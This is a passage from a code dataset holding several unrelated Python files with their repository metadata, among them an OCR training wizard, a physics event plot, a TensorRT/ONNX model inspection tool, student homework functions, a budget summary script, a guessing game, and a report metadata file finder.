\n def allBoxes(self):\n for i in range(self.file_list.count()):\n self.file_list.setCurrentRow(i)\n current = self.file_list.currentItem()\n \n res = self.results[i].station.name\n cres = self.results[i]\n self.charlist += list(res.value.replace(\" \", \"\").upper())\n \n text = res.value.replace(\" \", \"\")\n imgcount = len(self.results[i].station.name.units)\n charcount = len(text)\n word = []\n \n for j in range(imgcount):\n if j < charcount:\n char = text[j]\n else:\n char = \"\"\n unit = self.results[i].station.name.units[j]\n image = cres.station_img[unit[2]:unit[3]+1,unit[0]:unit[1]]\n #cv2.imshow(\"x\", image)\n #cv2.waitKey(0)\n h = res.h\n if len(image) > 0:\n if ((h*1.0)/len(image[0])) > 3:\n y1 = res.y1\n if y1 < 0:\n y1 = 0\n image = cres.station_img[y1:unit[3], unit[0]:unit[1]]\n border = (h - len(image[0]))/2\n image = cv2.copyMakeBorder(image,0,0,border,border,cv2.BORDER_CONSTANT,value=(255,255,255))\n\n if len(image) < h/2.0:\n y1 = res.y1\n if y1 < 0:\n y1 = 0\n image = cres.station_img[y1:res.y2, unit[0]:unit[1]]\n border = (h - len(image[0]))/2\n image = cv2.copyMakeBorder(image,0,0,border,border,cv2.BORDER_CONSTANT,value=(255,255,255))\n \n th, tw = image.shape\n if th < 1 or tw < 1:\n image = np.ones((10,10,1), dtype=np.uint8) * 255\n self.imglist.append(image)\n \n word.append([image, char])\n \n self.words.append(word)\n self.boundaries.append([i, [res.box[0]+self.stationoffset[i][0][0],\n res.box[1]+self.stationoffset[i][0][1],\n res.box[2]+self.stationoffset[i][0][0],\n res.box[3]+self.stationoffset[i][0][1]]])\n\n for line in self.results[i].commodities:\n for item in line.items:\n if not item is None:\n text = item.value.replace(\" \", \"\")\n imgcount = len(item.units)\n charcount = len(text)\n word = []\n \n self.charlist += list(item.value.replace(\" \", \"\").upper())\n for j in range(imgcount):\n if j < charcount:\n char = text[j]\n else:\n char = \"\"\n unit = item.units[j]\n self.boxlist.append([unit[0]+current.market_offset[0],unit[1]-unit[0],\n unit[2]+current.market_offset[1],unit[3]-unit[2]])\n \n image = cres.commodities_img[unit[2]:unit[3]+1,unit[0]:unit[1]]\n h = line.h\n if len(image) > 0:\n if ((h*1.0)/len(image[0])) > 3:\n y1 = line.y1 if line.y1 >= 0 else 0\n if y1 < 0:\n y1 = 0\n image = cres.commodities_img[y1:unit[3], unit[0]:unit[1]]\n if image.shape[0] > 0 and image.shape[1] > 0:\n border = (h - len(image[0]))/2\n image = cv2.copyMakeBorder(image,0,0,border,border,cv2.BORDER_CONSTANT,value=(255,255,255))\n\n if len(image) < h/2.0:\n y1 = line.y1 if line.y1 >= 0 else 0\n if y1 < 0:\n y1 = 0\n image = cres.commodities_img[y1:line.y2, unit[0]:unit[1]]\n if image.shape[0] > 0 and image.shape[1] > 0:\n border = (h - len(image[0]))/2\n image = cv2.copyMakeBorder(image,0,0,border,border,cv2.BORDER_CONSTANT,value=(255,255,255))\n \n th, tw = image.shape\n if th < 1 or tw < 1:\n image = np.ones((10,10,1), dtype=np.uint8) * 255\n self.imglist.append(image)\n \n word.append([image, char])\n \n self.words.append(word)\n self.boundaries.append([i, [item.box[0]+self.marketoffset[i][0][0],\n item.box[1]+self.marketoffset[i][0][1],\n item.box[2]+self.marketoffset[i][0][0],\n item.box[3]+self.marketoffset[i][0][1]]])\n self.wordcount = len(self.words)\n #self.maxcount = len(self.imglist)/20\n \n \n def setPreviewImage(self, image):\n \"\"\"Show image in self.preview.\"\"\"\n #factor = self.factor.value()\n factor = 1.0\n pix = image.scaled(QSize(self.preview.size().width()*factor,self.preview.size().height()*factor), Qt.KeepAspectRatio, Qt.SmoothTransformation)\n scene = QGraphicsScene()\n scene.addPixmap(pix)\n self.previewSetScene(scene)\n \n def previewSetScene(self, scene):\n \"\"\"Shows scene in preview\"\"\"\n self.preview.setScene(scene)\n self.preview.show()\n","repo_name":"seeebek/EliteOCR","sub_path":"learningwizard.py","file_name":"learningwizard.py","file_ext":"py","file_size_in_byte":25238,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"82"} +{"seq_id":"20435421092","text":"#!/usr/bin/env python\n\nimport os\nimport numpy\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\nfrom retro.event import EventIterator\nfrom grand_tour import Topography\n\ndef make_rotation(direction, angle):\n \"\"\"\n Create a rotation matrix corresponding to the rotation around a general\n axis by a specified angle.\n\n R = dd^T + cos(a) (I - dd^T) + sin(a) skew(d)\n\n Parameters:\n\n angle : float a\n direction : array d\n \"\"\"\n d = numpy.array(direction, dtype=numpy.float64)\n d /= numpy.linalg.norm(d)\n\n eye = numpy.eye(3, dtype=numpy.float64)\n ddt = numpy.outer(d, d)\n skew = numpy.array([[ 0, d[2], -d[1]],\n [-d[2], 0, d[0]],\n [d[1], -d[0], 0]], dtype=numpy.float64)\n\n mtx = ddt + numpy.cos(angle) * (eye - ddt) + numpy.sin(angle) * skew\n return mtx\n\n# Load the event\ntag = \"E.1e17_X.93815_Y.74409_Z.-559_T.91_P.21_D.3750214666968983.more-antennas\"\ntopo = Topography(43, 87, \"flat/10\")\nevent = EventIterator(\"share/events/{:}.json\".format(tag)).next()\nantennas = numpy.array(event[\"antennas\"])\nenergy, position, direction, altitude = map(numpy.array, event[\"tau_at_decay\"])\n\ngamma = numpy.deg2rad(3.)\nzcmin = 14E+03\nzcmax = 165E+03 * energy / 1E+09 + 55E+03\nrmin = position + zcmin * direction\n\nfig = plt.figure()\nax = fig.add_subplot(111, projection='3d')\nax.plot(antennas[:,0], antennas[:,1], antennas[:,2], \"ko\")\nax.plot((position[0],), (position[1],), (position[2],), \"ko\")\n\nr0 = position\nr1 = position + zcmax * direction\nr = numpy.vstack((r0, r1))\nax.plot(r[:,0], r[:,1], r[:,2], \"r-\")\n\nu = numpy.cross(direction, (0., 0., 1.))\nu /= numpy.linalg.norm(u)\nR = make_rotation(u, gamma)\nu = numpy.dot(R, direction)\n\nfor phi in numpy.linspace(numpy.deg2rad(-90.), numpy.deg2rad(90.), 60):\n R = make_rotation(direction, phi)\n v = numpy.dot(R, u)\n r0 = position + zcmin * v\n r1 = position + zcmax * v\n r = numpy.vstack((r0, r1))\n ax.plot(r[:,0], r[:,1], r[:,2], \"g-\")\n\nplt.show()\n","repo_name":"grand-mother/retro-ccin2p3","sub_path":"scripts/check-event.py","file_name":"check-event.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25198388807","text":"from polygraphy.tools.util import args as args_util, misc as tool_util\nfrom polygraphy.common import constants, TensorMetadata\nfrom polygraphy.tools.base import Tool\nfrom polygraphy.util import misc\nfrom polygraphy.logger import G_LOGGER\n\n\ndef inspect_trt(args):\n from polygraphy.backend.trt import util as trt_util\n\n if args.model_type == \"engine\":\n if args.mode != \"none\":\n G_LOGGER.warning(\"Displaying layer information for TensorRT engines is not currently supported\")\n\n with tool_util.get_trt_serialized_engine_loader(args)() as engine:\n engine_str = trt_util.str_from_engine(engine)\n G_LOGGER.info(\"==== TensorRT Engine ====\\n{:}\".format(engine_str))\n else:\n builder, network, parser = tool_util.get_trt_network_loader(args)()\n with builder, network, parser:\n network_str = trt_util.str_from_network(network, mode=args.mode)\n G_LOGGER.info(\"==== TensorRT Network ====\\n{:}\".format(network_str))\n\n\ndef inspect_onnx(args):\n from polygraphy.backend.onnx import util as onnx_util\n\n onnx_model = tool_util.get_onnx_model_loader(args)()\n model_str = onnx_util.str_from_onnx(onnx_model, mode=args.mode)\n G_LOGGER.info(\"==== ONNX Model ====\\n{:}\".format(model_str))\n\n\ndef inspect_tf(args):\n from polygraphy.backend.tf import util as tf_util\n\n tf_graph, _ = tool_util.get_tf_model_loader(args)()\n graph_str = tf_util.str_from_graph(tf_graph, mode=args.mode)\n G_LOGGER.info(\"==== TensorFlow Graph ====\\n{:}\".format(graph_str))\n\n\n################################# SUBTOOLS #################################\n\nclass STModel(Tool):\n \"\"\"\n Display information about a model, including inputs and outputs, as well as layers and their attributes.\n \"\"\"\n def __init__(self):\n self.name = \"model\"\n\n\n def add_parser_args(self, parser):\n parser.add_argument(\"--convert-to\", \"--display-as\", help=\"Convert the model to the specified format before displaying\",\n choices=[\"onnx\", \"trt\"], dest=\"display_as\")\n parser.add_argument(\"--mode\", \"--layer-info\", help=\"Display layers: {{\"\n \"'none': Display no layer information, \"\n \"'basic': Display layer inputs and outputs, \"\n \"'attrs': Display layer inputs, outputs and attributes, \"\n \"'full': Display layer inputs, outputs, attributes, and weights\"\n \"}}\",\n choices=[\"none\", \"basic\", \"attrs\", \"full\"], dest=\"mode\", default=\"none\")\n args_util.add_model_args(parser, model_required=True, inputs=False)\n args_util.add_trt_args(parser, write=False, config=False, outputs=False)\n args_util.add_tf_args(parser, tftrt=False, artifacts=False, runtime=False, outputs=False)\n args_util.add_onnx_args(parser, outputs=False)\n args_util.add_tf_onnx_args(parser)\n\n\n def __call__(self, args):\n func = None\n\n if args.model_type in [\"frozen\", \"keras\", \"ckpt\"]:\n func = inspect_tf\n\n if args.model_type == \"onnx\" or args.display_as == \"onnx\":\n func = inspect_onnx\n\n if args.model_type == \"engine\" or args.display_as == \"trt\":\n func = inspect_trt\n\n if func is None:\n G_LOGGER.critical(\"Could not determine how to display this model. Maybe you need to specify --display-as?\")\n func(args)\n\n\nclass STResults(Tool):\n \"\"\"\n Display information about results saved from Polygraphy's Comparator.run()\n (for example, outputs saved by `--save-results` from `polygraphy run`).\n \"\"\"\n def __init__(self):\n self.name = \"results\"\n\n\n def add_parser_args(self, parser):\n parser.add_argument(\"results\", help=\"Path to a file containing Comparator.run() results from Polygraphy\")\n parser.add_argument(\"--all\", help=\"Show information on all iterations present in the results instead of just the first\",\n action=\"store_true\")\n parser.add_argument(\"-s\", \"--show-values\", help=\"Show values of output tensors instead of just metadata\", action=\"store_true\")\n\n\n def __call__(self, args):\n run_results = misc.pickle_load(args.results)\n\n def meta_from_iter_result(iter_result):\n meta = TensorMetadata()\n for name, arr in iter_result.items():\n meta.add(name, dtype=arr.dtype, shape=arr.shape)\n return meta\n\n\n results_str = \"\"\n results_str += \"==== Run Results ({:} runners) ====\\n\\n\".format(len(run_results))\n\n for runner_name, iters in run_results.items():\n results_str += \"---- Runner: {:} ({:} iterations) ----\\n\".format(runner_name, len(iters))\n\n for index, iter_result in enumerate(iters):\n if args.show_values:\n for name, arr in iter_result.items():\n results_str += \"{:} [dtype={:}, shape={:}]\\n{:}\\n\\n\".format(name, arr.dtype, arr.shape, misc.indent_block(str(arr)))\n else:\n iter_meta = meta_from_iter_result(iter_result)\n if len(iters) > 1 and args.all:\n results_str += misc.indent_block(\"Iteration: {:} | \".format(index))\n results_str += \"{:}\\n\".format(iter_meta)\n\n if not args.all:\n break\n results_str += \"\\n\"\n results_str = misc.indent_block(results_str, level=0)\n G_LOGGER.info(results_str)\n\n\n################################# MAIN TOOL #################################\n\nclass Inspect(Tool):\n \"\"\"\n Display information about supported files.\n \"\"\"\n def __init__(self):\n self.name = \"inspect\"\n\n\n def add_parser_args(self, parser):\n subparsers = parser.add_subparsers(title=\"Inspection Subtools\", dest=\"subtool\")\n subparsers.required = True\n\n SUBTOOLS = [\n STModel(),\n STResults(),\n ]\n\n for subtool in SUBTOOLS:\n subtool.setup_parser(subparsers)\n\n\n def __call__(self, args):\n pass\n","repo_name":"XieDake/TensorRT","sub_path":"tools/Polygraphy/polygraphy/tools/inspect/inspect.py","file_name":"inspect.py","file_ext":"py","file_size_in_byte":6120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"18222990327","text":"import paddle.fluid as fluid\nimport paddlehub as hub\nimport cv2\nimport numpy as np\nfrom PIL import Image\n\nDATA_DIM = 224\nimg_mean = np.array([0.485, 0.456, 0.406]).reshape((3, 1, 1))\nimg_std = np.array([0.229, 0.224, 0.225]).reshape((3, 1, 1))\n\n\ndef resize_short(img, target_size):\n percent = float(target_size) / min(img.size[0], img.size[1])\n resized_width = int(round(img.size[0] * percent))\n resized_height = int(round(img.size[1] * percent))\n img = img.resize((resized_width, resized_height), Image.LANCZOS)\n return img\n\n\ndef crop_image(img, target_size, center):\n width, height = img.size\n size = target_size\n if center == True:\n w_start = (width - size) / 2\n h_start = (height - size) / 2\n else:\n w_start = np.random.randint(0, width - size + 1)\n h_start = np.random.randint(0, height - size + 1)\n w_end = w_start + size\n h_end = h_start + size\n img = img.crop((w_start, h_start, w_end, h_end))\n return img\n\n\ndef process_image(img):\n img = Image.fromarray(img[:, :, ::-1])\n img = resize_short(img, target_size=256)\n img = crop_image(img, target_size=DATA_DIM, center=True)\n if img.mode != 'RGB':\n img = img.convert('RGB')\n img = np.array(img).astype('float32').transpose((2, 0, 1)) / 255\n img -= img_mean\n img /= img_std\n return img\n\nif __name__ == '__main__':\n module = hub.Module(name='resnet50_vd_imagenet_ssld')\n with fluid.dygraph.guard():\n img = cv2.imread('mask.jpg')\n data = process_image(img)[np.newaxis, :, :, :]\n \n # 模型预测\n layer = fluid.dygraph.StaticModelRunner(module.default_pretrained_model_path)\n result = layer(data)\n print(result)","repo_name":"chenwhql/PaddleScripts","sub_path":"dygraph/runner/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27547528311","text":"import os, csv\n\ntotal_months = 0\ntotal_profitloss = 0\nmax_profitloss = 0\nmin_profitloss = 0\n\nbudget_path = os.path.join(\"..\", \"PyBank\", \"budget_data.csv\")\n\nwith open(budget_path, newline='', encoding=\"utf-8\") as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=\",\")\n csv_header = next(csv_reader)\n for row in csv_reader:\n \n #Total number of months\n total_months += 1\n\n #Net total amount of Profits/Losses\n current_profitloss = int(row[1])\n total_profitloss += current_profitloss\n\n #Greatest increase in profits (date and amount)\n if int(row[1]) > max_profitloss:\n max_profitloss = int(row[1])\n max_month = row[0]\n else:\n max_profitloss = max_profitloss\n\n #Greatest decrease in profits (date and amount)\n if int(row[1]) < min_profitloss:\n min_profitloss = int(row[1])\n min_month = row[0]\n else:\n min_profitloss = min_profitloss\n\n#Average of changes in Profits/Losses\navg_profitloss = int(total_profitloss / total_months)\n\n#Create dictionay of summary\ndata_summary = {\n \"total_months\": total_months,\n \"total_profitloss\": total_profitloss,\n \"avg_profitloss\": avg_profitloss,\n \"max_profitloss\": max_profitloss,\n \"min_profitloss\": min_profitloss,\n \"max_month\": max_month,\n \"min_month\": min_month\n}\n\n#Creating string output for txt file\ndef financial_analysis(data_summary):\n summary_string = f\"\"\"Financial Analysis\n----------------------------\nTotal Months: {data_summary['total_months']}\nTotal: ${data_summary['total_profitloss']}\nAverage Change: ${data_summary['avg_profitloss']}\nGreatest Increase in Profits: {data_summary['max_month']} ${data_summary['max_profitloss']}\nGreatest Decrease in Profits: {data_summary['min_month']} ${data_summary['min_profitloss']}\"\"\"\n return summary_string\n\n#Print summary table to terminal\nprint(financial_analysis(data_summary))\n\n#Output summary table to txt file\nfile = open('main_output.txt', 'w')\nfile.write(financial_analysis(data_summary))\nfile.close()","repo_name":"melaniefollett/python-challenge","sub_path":"PyBank/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"1504653692","text":"######################\n# Required Questions #\n######################\n\ndef falling(n, k):\n \"\"\"Compute the falling factorial of n to depth k.\n\n >>> falling(6, 3) # 6 * 5 * 4\n 120\n >>> falling(4, 3) # 4 * 3 * 2\n 24\n >>> falling(4, 1) # 4\n 4\n >>> falling(4, 0)\n 1\n \"\"\"\n oof = 1\n while k > 0:\n oof = oof * n\n n = n -1\n k = k -1\n return oof\n\n\ndef nonzero(lst):\n \"\"\" Returns the first nonzero element of a list\n\n >>> nonzero([1, 2, 3])\n 1\n >>> nonzero([0, 1, 2])\n 1\n >>> nonzero([0, 0, 0, 0, 0, 0, 5, 0, 6])\n 5\n \"\"\"\n n = 0\n while lst[n] == 0:\n n = n + 1\n return lst[n] \n\n\ndef has_n(lst, n):\n \"\"\" Returns whether or not a list contains the value n.\n\n >>> has_n([1, 2, 2], 2)\n True\n >>> has_n([0, 1, 2], 3)\n False\n >>> has_n([], 5)\n False\n \"\"\"\n for x in lst:\n if x==n:\n return True\n return False\n\n\ndef hailstone(n):\n \"\"\"Print the hailstone sequence starting at n and return its\n length.\n\n >>> a = hailstone(10)\n 10\n 5\n 16\n 8\n 4\n 2\n 1\n >>> a\n 7\n \"\"\"\n carrie_is_cool = 1\n print(n)\n while n != 1:\n if n % 2 == 0:\n n = n // 2\n print(n)\n carrie_is_cool += 1\n else:\n n = n * 3 + 1\n print(n)\n carrie_is_cool += 1\n return carrie_is_cool\n \n\ndef odd_even(x):\n \"\"\"Classify a number as odd or even.\n \n >>> odd_even(4)\n 'even'\n >>> odd_even(3)\n 'odd'\n \"\"\"\n if x % 2 == 0:\n return 'even'\n else: return 'odd'\n\ndef classify(s):\n \"\"\"\n Classify all the elements of a sequence as odd or even\n >>> classify([0, 1, 2, 4])\n ['even', 'odd', 'even', 'even']\n \"\"\"\n return [odd_even(x) for x in s]\n\n\ndef decode_helper(pair):\n \"\"\"\n Optional helper function! Could be useful to turn something like [0, 0] to 'Male 0-9'\n \"\"\"\n # gender = \"Male\"\n one_age = -10\n two_age = -1\n\n if pair[0]==0:\n gender = \"Male\"\n else:\n gender = \"Female\"\n\n if pair [1] == 10:\n return gender + \" 100+\"\n\n for x in range(10):\n one_age += 10\n two_age += 10\n if pair[1] == x:\n break;\n\n\n # if n=1:\n # one_age += n * 10\n\n \n return gender + \" \" + str(one_age) + \"-\" + str(two_age)\n \n\ndef decode(list_of_sex_age_pairs):\n \"\"\"\n >>> decode([[0, 0], [1, 1], [1, 10]])\n ['Male 0-9', 'Female 10-19', 'Female 100+']\n >>> decode([[0, 0], [0, 1], [0, 2], [0, 3], [0, 4], [1, 5], [1, 6], [1, 7], [1, 8], [1, 9], [1, 10]])\n ['Male 0-9', 'Male 10-19', 'Male 20-29', 'Male 30-39', 'Male 40-49', 'Female 50-59', 'Female 60-69', 'Female 70-79', 'Female 80-89', 'Female 90-99', 'Female 100+']\n \"\"\" \n return [decode_helper(x) for x in list_of_sex_age_pairs]\n \n\n","repo_name":"vicky-blobs/cs88","sub_path":"Homeworks/hw03/hw03.py","file_name":"hw03.py","file_ext":"py","file_size_in_byte":2853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27796181151","text":"import random\n\n# главная функция игры\ndef game():\n # генерация случайного числа от 1 до 10\n secret_num = random.randint(1, 10)\n\n # Список чисел пользователя\n guesses = []\n\n while len(guesses) < 3:\n # проверка того, что пользователь ввел число\n try:\n # считывание числа пользователя\n guess = int(input(\"Guess a number between 1 and 10: \"))\n except ValueError:\n print(\"{} isn't a number!\".format(guess))\n else:\n # проверка числа пользователя\n if guess == secret_num:\n print(\"You got it! My number was {}\".format(secret_num))\n break\n elif guess > secret_num:\n print(\"Your number is too high\")\n else:\n print(\"Your number is too low\")\n guesses.append(guess)\n else:\n print(\"You didnt get it. My number was {}\".format(secret_num))\n play_again = input(\"Do you want to play again? Y/n\")\n if play_again.lower() != 'n':\n game()\n else:\n print(\"Bye!\")\n\ngame()\n","repo_name":"EgorKurito/little_projects","sub_path":"NumberGame.py","file_name":"NumberGame.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31933557001","text":"\"\"\"\n 从Python 3.6开始,默认的字典变成有序字典\n 可以直接使用==进行等值判断\n\n 合并字典,相同 key 的 value 相加:\n 两个字典取并集,重点在于对相同key的value相加。\n\n python3,dict.keys() 类似set; | 并集 & 交集 - 差集\n\"\"\"\nfrom collections import Counter\n\nif __name__ == '__main__':\n d1 = {\n '1': 1,\n '2': 2,\n '3': 3\n }\n d2 = {\n '2': 3,\n '3': 3,\n '1': 1\n }\n d3 = {\n '1': 1,\n '2': 2,\n '4': 3\n }\n d4 = {\n '1': 1,\n '3': 3,\n '2': 2,\n '4': 4\n }\n d5 = {\n '2': 2,\n '1': 1,\n '3': 3\n }\n\n print(d1 == d2)\n print(d1 == d3)\n print(d2 == d3)\n print(d1 == d4)\n print(d1 == d5)\n\n # 合并字典, key 相同则合并\n print(dict(Counter(d1) + Counter(d2))) # 适用于value 大于0 的情况\n\n print(d4.keys() - d1.keys())\n\n A = {'a': 11, 'b': 22}\n B = {'c': 48, 'd': 13}\n # update() 把字典B的键/值对更新到A里, key不能相同否则会被覆盖\n A.update(B)\n print(A)\n # 与update 效果相同\n print({**A, **B})\n","repo_name":"CAgAG/Arithmetic_PY","sub_path":"DOC/Dict.py","file_name":"Dict.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"4717772520","text":"t=int(input())\nfor i in range(t):\n n = int(input())\n b=True\n mas = [int(x) for x in input().split()]\n for j in range(n-1):\n if abs(mas[j]-mas[j+1])%2==1:\n print(\"NO\")\n b = False\n break\n if b:\n print(\"YES\")","repo_name":"tshipilova392/Python3-Codeforces-Tasks","sub_path":"1324A.py","file_name":"1324A.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31433246766","text":"#Exercício Python 33: Faça um programa que leia três números e mostre qual é o maior e qual é o menor.\n\nnum1 = float(input('Digite o primeiro número: '))\nnum2 = float(input('Digite o segundo número: '))\nnum3 = float(input('Digite o terceiro número: '))\nmenor = num1\nmaior = num1\n\nif (num1 == num2) or (num1 == num3) or (num2 == num3):\n print('Você digitou números iguais, impossível definir maior e menor')\nelse:\n if (num2 < num1 and num2 < num3):\n menor = num2\n if (num3 < num1 and num3 < num2):\n menor = num3\n if (num2 > num1 and num2 > num3):\n maior = num2\n if (num3 > num1 and num3 > num2):\n maior = num3\n print('{} é o maior número e {} é o menor número.'.format(maior, menor))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"cirodecristo/Curso-em-video-Python","sub_path":"Python_exercícios/ex033.py","file_name":"ex033.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37986818360","text":"'''\nCreated on Sep 26, 2017\n\n@author: stevepark\n'''\nimport os\nfrom lxml import etree\nfrom metadata.Common import Common\nfrom metadata.DomainAction import DomainAction\nfrom metadata.AdhocAction import AdhocAction\nfrom metadata.ReportAction import ReportAction\n\nclass FileFinder():\n \n common = Common()\n domainAction = DomainAction()\n adhocAction = AdhocAction()\n reportAction = ReportAction()\n domain_id = None\n resources_folder = None\n adhoc_topic_files_list = []\n adhoc_view_files_list = []\n report_list = []\n \n def findDomainSchema(self, root, log):\n for child in root.xpath(Common.REPO_PATH_SEPARATOR + Common.REPO_PATH_SEPARATOR + Common.LOCAL_RESOURCE):\n folderPath = child[Common.STATE_FILE_NODE_INDEX].text\n if folderPath is None:\n folderPath = ''\n domainSchemaFile = self.resources_folder + folderPath + Common.REPO_PATH_SEPARATOR + child.get(Common.DATA_FILE)\n log.debug('found domain schema file: ' + domainSchemaFile)\n return domainSchemaFile\n \n def findDomainSchemaFile(self, metadata_filename, log):\n with open(metadata_filename) as h:\n metadata_xml = h.read()\n metadata_tuple = self.common.removeDeclarationNode(xml_string=metadata_xml)\n metadata_root = etree.fromstring(metadata_tuple[1])\n return self.findDomainSchema(root=metadata_root, log=log)\n \n def findAdhocTopic(self, root, adhoc_topic_id, log):\n jrxmlfile = None\n statefile = None\n adhoc_topic_id_node = root[Common.ID_NODE_INDEX]\n if adhoc_topic_id_node.text.find(adhoc_topic_id) >= 0 and self.checkDatasource(root=root):\n for child in root.xpath(Common.REPO_PATH_SEPARATOR + Common.REPO_PATH_SEPARATOR + 'mainReport' + Common.REPO_PATH_SEPARATOR + Common.LOCAL_RESOURCE):\n folderPath = child[Common.STATE_FILE_NODE_INDEX].text\n if folderPath is None:\n folderPath = ''\n jrxmlfile = self.resources_folder + folderPath + Common.REPO_PATH_SEPARATOR + child.get(Common.DATA_FILE)\n log.debug('found JRXML file: ' + jrxmlfile)\n for child in root.xpath(Common.REPO_PATH_SEPARATOR + Common.REPO_PATH_SEPARATOR + 'resource' + Common.REPO_PATH_SEPARATOR + Common.LOCAL_RESOURCE):\n folderPath = child[Common.STATE_FILE_NODE_INDEX].text\n if folderPath is None:\n folderPath = ''\n statefile = self.resources_folder + folderPath + Common.REPO_PATH_SEPARATOR + child.get(Common.DATA_FILE)\n log.debug('found state file: ' + statefile)\n if statefile is not None and jrxmlfile is not None:\n self.adhoc_topic_files_list.append([statefile, jrxmlfile])\n \n def findAdhocTopicFiles(self, metadata_filename, adhoc_topic_id, log):\n with open(metadata_filename) as h:\n metadata_xml = h.read()\n metadata_tuple = self.common.removeDeclarationNode(xml_string=metadata_xml)\n metadata_root = etree.fromstring(metadata_tuple[1])\n self.findAdhocTopic(root=metadata_root, adhoc_topic_id=adhoc_topic_id, log=log)\n \n def findAdhocView(self, root, adhoc_view_id, log):\n jrxmlfile = None\n statefile = None\n reportJrxmlfile = None\n reportStatefile = None\n adhoc_view_id_node = root[Common.ID_NODE_INDEX]\n if adhoc_view_id_node.text.find(adhoc_view_id) >= 0 and self.checkDatasource(root):\n for child in root.xpath(Common.REPO_PATH_SEPARATOR + Common.ADHOC_VIEW_TAG + Common.REPO_PATH_SEPARATOR + Common.RESOURCE_TAG + Common.REPO_PATH_SEPARATOR + Common.LOCAL_RESOURCE):\n secondchild = child[Common.ID_NODE_INDEX]\n folderPath = child[Common.STATE_FILE_NODE_INDEX].text\n if folderPath is None:\n folderPath = ''\n if secondchild.text.find(Common.STATE_XML) >= 0:\n statefile = self.resources_folder + folderPath + Common.REPO_PATH_SEPARATOR + child.get(Common.DATA_FILE)\n log.debug('found state file: ' + statefile)\n elif secondchild.text.find(Common.TOPIC_JRXML) >= 0:\n jrxmlfile = self.resources_folder + folderPath + Common.REPO_PATH_SEPARATOR + child.get(Common.DATA_FILE)\n log.debug('found jrxml file: ' + jrxmlfile)\n # check to see if there's a nested report used for a dashboard\n for child in root.xpath(Common.REPO_PATH_SEPARATOR + Common.ADHOC_VIEW_TAG + Common.REPO_PATH_SEPARATOR + 'reports' + Common.REPO_PATH_SEPARATOR + Common.LOCAL_RESOURCE + Common.REPO_PATH_SEPARATOR + Common.RESOURCE_TAG + Common.REPO_PATH_SEPARATOR + Common.LOCAL_RESOURCE):\n secondchild = child[Common.ID_NODE_INDEX]\n folderPath = child[Common.STATE_FILE_NODE_INDEX].text\n if folderPath is None:\n folderPath = ''\n if secondchild.text.find(Common.STATE_XML) >= 0:\n reportStatefile = self.resources_folder + folderPath + Common.REPO_PATH_SEPARATOR + child.get(Common.DATA_FILE)\n log.debug('found dashboard report state file: ' + reportStatefile)\n elif secondchild.text.find(Common.MAIN_REPORT_JRXML) >= 0:\n reportJrxmlfile = self.resources_folder + folderPath + Common.REPO_PATH_SEPARATOR + child.get(Common.DATA_FILE)\n log.debug('found dashboard report jrxml file: ' + jrxmlfile)\n if statefile is not None and jrxmlfile is not None:\n self.adhoc_view_files_list.append([statefile, jrxmlfile])\n if reportStatefile is not None and reportJrxmlfile is not None:\n self.report_list.append([reportStatefile, reportJrxmlfile])\n return True\n else:\n return False\n \n def findAdhocViewFiles(self, metadata_filename, adhoc_view_id, log):\n with open(metadata_filename) as h:\n metadata_xml = h.read()\n metadata_tuple = self.common.removeDeclarationNode(xml_string=metadata_xml)\n metadata_root = etree.fromstring(metadata_tuple[1])\n return self.findAdhocView(root=metadata_root, adhoc_view_id=adhoc_view_id, log=log)\n \n def findReport(self, root, report_id, log):\n jrxmlfile = None\n statefile = None\n report_id_node = root[Common.ID_NODE_INDEX]\n if report_id_node.text.find(report_id) >= 0 and self.checkDatasource(root):\n for child in root.xpath(Common.REPO_PATH_SEPARATOR + Common.REPO_PATH_SEPARATOR + 'mainReport' + Common.REPO_PATH_SEPARATOR + Common.LOCAL_RESOURCE):\n folderPath = child[Common.STATE_FILE_NODE_INDEX].text\n if folderPath is None:\n folderPath = ''\n jrxmlfile = self.resources_folder + folderPath + Common.REPO_PATH_SEPARATOR + child.get(Common.DATA_FILE)\n log.debug('found jrxml file: ' + jrxmlfile)\n for child in root.xpath(Common.REPO_PATH_SEPARATOR + Common.REPO_PATH_SEPARATOR + 'resource' + Common.REPO_PATH_SEPARATOR + Common.LOCAL_RESOURCE):\n if child.get(Common.DATA_FILE) == Common.STATE_DATAFILE:\n folderPath = child[Common.STATE_FILE_NODE_INDEX].text\n if folderPath is None:\n folderPath = ''\n statefile = self.resources_folder + folderPath + Common.REPO_PATH_SEPARATOR + child.get(Common.DATA_FILE)\n log.debug('found state file: ' + statefile)\n break\n if statefile is not None and jrxmlfile is not None:\n self.report_list.append([statefile, jrxmlfile])\n return False\n elif jrxmlfile is not None:\n # static report with domain data source\n self.report_list.append([None, jrxmlfile])\n return True\n else:\n return False\n \n def findReportFiles(self, metadata_filename, report_id, log):\n with open(metadata_filename) as h:\n metadata_xml = h.read()\n metadata_tuple = self.common.removeDeclarationNode(xml_string=metadata_xml)\n metadata_root = etree.fromstring(metadata_tuple[1])\n return self.findReport(root=metadata_root, report_id=report_id, log=log)\n \n def checkRootNodeTag(self, root_tag):\n if root_tag.find(Common.DOMAIN_METADATA_TAG) >= 0 or 